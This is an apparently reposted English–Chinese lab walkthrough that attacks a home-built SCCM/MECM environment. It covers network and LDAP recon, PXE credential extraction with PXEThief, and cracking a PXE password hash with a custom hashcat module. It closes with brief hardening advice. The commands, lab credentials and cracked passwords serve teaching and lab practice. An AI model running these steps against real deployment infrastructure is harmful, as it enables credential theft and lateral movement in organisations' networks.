On the previous post (SCCM LAB part 0x0) we setup an environment to play with SCCM. If all is going well you should get something like that :
在上一篇文章(SCCM LAB 第 0x0 部分)中,我们设置了一个使用 SCCM 的环境。如果一切顺利,你应该得到这样的东西:
Ok so let’s try this out 🙂
好的,让我们试试这个:)
Recon 侦察
Recon without user 没有用户的侦察
- scan with nmap (full port list used here : https://learn.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/ports)
使用 NMAP 扫描(此处使用的完整端口列表:https://learn.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/ports)
1 2 3 4 |
# search sccm nmap -p 80,443,445,1433,10123,8530,8531 -sV 192.168.33.11-12 # search pxe nmap -p 67,68,69,4011,547 -sU 192.168.33.11 |
- let see the certificate on port 10123
让我们看看端口 10123 上的证书
1 |
openssl s_client -connect 192.168.33.11:10123
|
-
and the self-signed certificate common name is SMS 🙂
自签名证书公用名为短信:) - let see now the rpc protocols
现在让我们看看 RPC 协议1
rpcdump.py 192.168.33.11 |grep Protocol |grep -v 'N/A'
- The “Windows Deployment Services Control Protocol” is present which is implied the use of a WDS Server.
存在“Windows 部署服务控制协议”,这意味着使用 WDS 服务器。
Recon with user 与用户一起侦察
Let’s use a low privilege user sccm.lab/carol:SCCMftw
让我们使用低权限用户 sccm.lab/carol:SCCMftw
Recon with LDAP 使用 LDAP 进行侦察
1 |
python3 sccmhunter.py find -u carol -p SCCMftw -d sccm.lab -dc-ip 192.168.33.10 -debug |
1 |
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.33.10 sccm |
1 |
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.33.10 search "(objectclass=mssmsmanagementpoint)" dnshostname,msSMSSiteCode |
Recon with SMB shares 使用 SMB 共享的 Recon
1 |
nxc smb 192.168.33.11 -u carol -p SCCMftw -d SCCM.lab --shares |
- with sccm hunter 使用 SCCM Hunter
1 |
python3 sccmhunter.py smb -u carol -p 'SCCMftw' -d sccm.lab -dc-ip 192.168.33.10 -debug |
Show sccm hunter results 显示 sccm 猎人结果
1 |
python3 sccmhunter.py show -all
|
PXE
PXE – create computer – standard way
PXE – 创建计算机 – 标准方式
- First thing first, we will start by trying if the pxe feature works well.
首先,我们将首先尝试 pxe 功能是否运行良好。 - create a new virtual machine with no operating system
创建没有操作系统的新虚拟机
-
All the menu is like next/next/next/finish 🙂
所有的菜单都像下一个/下一个/下一个/完成:) -
Edit the virtual machine settings and setup the same virtual network of the SCCM lab.
编辑虚拟机设置并设置 SCCM 实验室的相同虚拟网络。
- go to advanced option and choose boot type : BIOS (because the UEFI wasn’t setup in the lab)
转到高级选项,然后选择启动类型:BIOS(因为未在实验室中设置 UEFI)
- Save and start the machine
保存并启动机器
Examples are on vmware but it is almost the same on virtualbox.
示例在 vmware 上,但在 virtualbox 上几乎相同。
- during the boot you should see this :
在启动过程中,您应该看到以下内容:
- Press F12 and if all goes well you should see :
按 F12,如果一切顺利,您应该会看到:
- and a bit later the PXE Boot menu:
稍后是 PXE 启动菜单:
- on the lab by default the PXE is setup with no password so you can click next
在实验室中,默认情况下,PXE 设置时没有密码,因此可以单击“下一步”
- And the windows installation will start
Windows安装将开始 - At the end you will have
最后,您将拥有
-
next “continue with limited setup”
下一个 “继续有限的设置” -
And you get a windows 10 vm prompt
你会得到一个 Windows 10 VM 提示符
- In the lab the disk is not ciphered so we can boot on a live cd, open the windows disk and get the sam, system and security files to get the default administrator hash.
在实验室中,磁盘没有加密,因此我们可以在实时 CD 上启动,打开 Windows 磁盘并获取 sam、system 和安全文件以获取默认的管理员哈希值。
Exploit PXE – no password
利用 PXE – 无密码
1 |
python3 pxethief.py 2 192.168.33.11 |
-
We get a lot of information but we are unable to decrypt the password from a non windows machine
我们得到了很多信息,但我们无法从非 Windows 机器解密密码 - Ok so let’s start again from a windows machine
好的,让我们从Windows机器重新开始 - install : 安装:
- python3 (tested ok on python 3.10)
python3(在 Python 3.10 上测试正常) - obviously clone the project https://github.com/MWR-CyberSec/PXEThief
显然克隆了项目 https://github.com/MWR-CyberSec/PXEThief - install pxethief requirements.txt (
py.exe -m pip install -r requirements.txt
)
安装 pxethief requirements.txt (py.exe -m pip install -r requirements.txt
) - install npcap (https://npcap.com/#download))
安装 NPCAP (https://npcap.com/#download)) - install tftp client (windows > Turn windows feature on or off > check tftp client)
安装 tftp 客户端(Windows >打开或关闭 Windows 功能>检查 tftp 客户端) - disable your firewall (or enable tftp in it)
禁用防火墙(或在其中启用 TFTP)
- python3 (tested ok on python 3.10)
- launch and enjoy 🙂 启动并享受:)
1 |
py.exe pxethief.py 2 192.168.33.11 |
-
we get the network access account in clear text, and we also get the new computer administrator account setup in pxe 🙂
我们以明文形式获取网络访问帐户,并在 PXE 🙂 中获取新的计算机管理员帐户设置 -
Let’s try the naa account on the network
让我们试试网络上的naa帐户
1 |
nxc smb 192.168.33.10-13 -u sccm-naa -d sccm.lab -p 123456789 |
- And the administrator account found
并找到管理员帐户
1 |
nxc smb 192.168.33.10-13 -u administrator -p 'EP+xh7Rk6j90' --local-auth |
- We have a domain account and we also got a local admin account on CLIENT$ due to password reuse !
我们有一个域帐户,由于密码重用,我们在 CLIENT$ 上也有一个本地管理员帐户!
Exploit PXE – with password
利用 PXE – 使用密码
- Ok let’s now try a PXE with password
好的,现在让我们尝试使用密码的 PXE - In order to add a password we will have to modify the distribution point configuration.
为了添加密码,我们必须修改分发点配置。 - Go to the management console on the MECM computer (creds: dave/dragon)
转到 MECM 计算机上的管理控制台(信条:dave/dragon) - And right click on the distribution point to select the properties
然后右键单击分发点以选择属性
- In the PXE tab select require a password and enter a password for pxe (here i enter the password : “hello”)
在 PXE 选项卡中,选择需要密码并输入 pxe 的密码(在这里我输入密码:“hello”)
- Select apply than ok 选择“应用比确定”
-
Wait few minutes for the deployment propagation
等待几分钟的部署传播 - Now if we retry from windows we get an error as a password is detected :
现在,如果我们从Windows重试,我们会在检测到密码时出现错误:
1 |
py.exe pxethief.py 2 192.168.33.11 |
- Let’s download the file and print the hash with pxethief
让我们下载文件并使用 pxethief 打印哈希值
1 2 |
tftp -i 192.168.33.11 GET "\SMSTemp\2024.03.28.03.27.34.0001.{BC3AEB9D-2A6C-46FB-A13E-A5EEF11ABACD}.boot.var" "2024.03.28.03.27.34.0001.{BC3AEB9D-2A6C-46FB-A13E-A5EEF11ABACD}.boot.var" py.exe pxethief.py 5 '.\2024.03.28.03.27.34.0001.{BC3AEB9D-2A6C-46FB-A13E-A5EEF11ABACD}.boot.var' |
-
and crack it with Christopher Panayi’s hashcat module https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
并用 Christopher Panayi 的 hashcat 模块破解它 https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module -
on exegol with hashcat 6.2.5
在带有 Hashcat 6.2.5 的 exegol 上
1 2 3 4 5 6 7 8 9 |
cd /workspace git clone https://github.com/hashcat/hashcat.git git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/ cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/ cd hashcat # change to 6.2.5 git checkout -b v6.2.5 tags/v6.2.5 make |
- and crack the hash 并破解哈希值
1 2 |
cd /workspace hashcat/hashcat -m 19850 --force -a 0 /workspace/pxe_hash /usr/share/wordlists/rockyou.txt |
-
we successfully retrieve the password : hello
我们成功找回密码:hello -
Now we can use it on pxethief and get the same creds as before
现在我们可以在 pxethief 上使用它并获得与以前相同的可信度
1 |
py.exe pxethief.py 3 ".\2024.03.28.03.27.34.0001.{BC3AEB9D-2A6C-46FB-A13E-A5EEF11ABACD}.boot.var" hello |
How to Secure this ?
如何保护这一点?
- use a strong password for pxe
对 PXE 使用强密码- do not use default administrator creds on image creation
不要在创建映像时使用默认管理员信任- enable bitlocker on pxe options
在 PXE 选项上启用 BitLocker- consider using a dedicated vlan for pxe boot
考虑使用专用 VLAN 进行 PXE 启动
原文始发于 mayfly :SCCM / MECM LAB – Part 0x1 – Recon and PXE